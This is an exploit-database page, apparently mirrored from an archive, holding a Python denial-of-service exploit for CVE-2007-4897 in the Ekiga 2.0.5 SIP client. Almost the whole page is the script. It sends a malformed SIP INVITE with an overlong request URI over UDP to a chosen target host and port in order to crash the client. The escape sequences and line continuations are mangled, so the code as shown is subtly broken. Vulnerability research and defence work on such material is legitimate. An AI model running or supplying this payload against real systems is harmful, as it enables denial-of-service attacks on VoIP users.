[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Ekiga 2.0.5 (GetHostAddress) Remote Denial of Service Exploit
# Published : 2009-07-24
# Author : Jose Miguel Esparza
# Previous Title : OpenH323 Opal SIP Protocol Remote Denial of Service Exploit
# Next Title : WzdFTPD <= 8.0 Remote Denial of Service Exploit


#!/usr/bin/env python
#
# Ekiga GetHostAddress Remote Denial of Service Vulnerability (CVE-2007-4897)
#
# ekiga207_dos.py by Jose Miguel Esparza
# 2007-09-11 S21sec labs

import sys,socket

if len(sys.argv) != 3: 
	sys.exit("Usage: " + sys.argv[0] + " target_host target_portn")
target = sys.argv[1]
targetPort = int(sys.argv[2])
malformedRequest = "INVITE "+'A'*1005+" SIP/2.0rn"+
		   "Call-ID:f81d4fae-7dec-11d0-a765-00a0c91e6bf6@foo.bar.comrn"+
		   "Contact:sip:pepe@172.91.1.133:5060rn"+
		   "Content-Length:417rn"+
		   "Content-Type:application/sdprn"+
		   "CSeq:4321 INVITErn"+
		   "From:sip:pepe@172.91.1.148:5060;tag=a48srn"+
		   "Max-Forwards:70rn"+
         "To:sip:paco@micasa.comrn"+
         "Via:SIP/2.0/UDP 172.91.1.148:5060;branch=z9hG4bK74b76rnrn"		 

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((target,targetPort))
s.sendall(malformedRequest)
s.close()

# www.Syue.com [2009-07-24]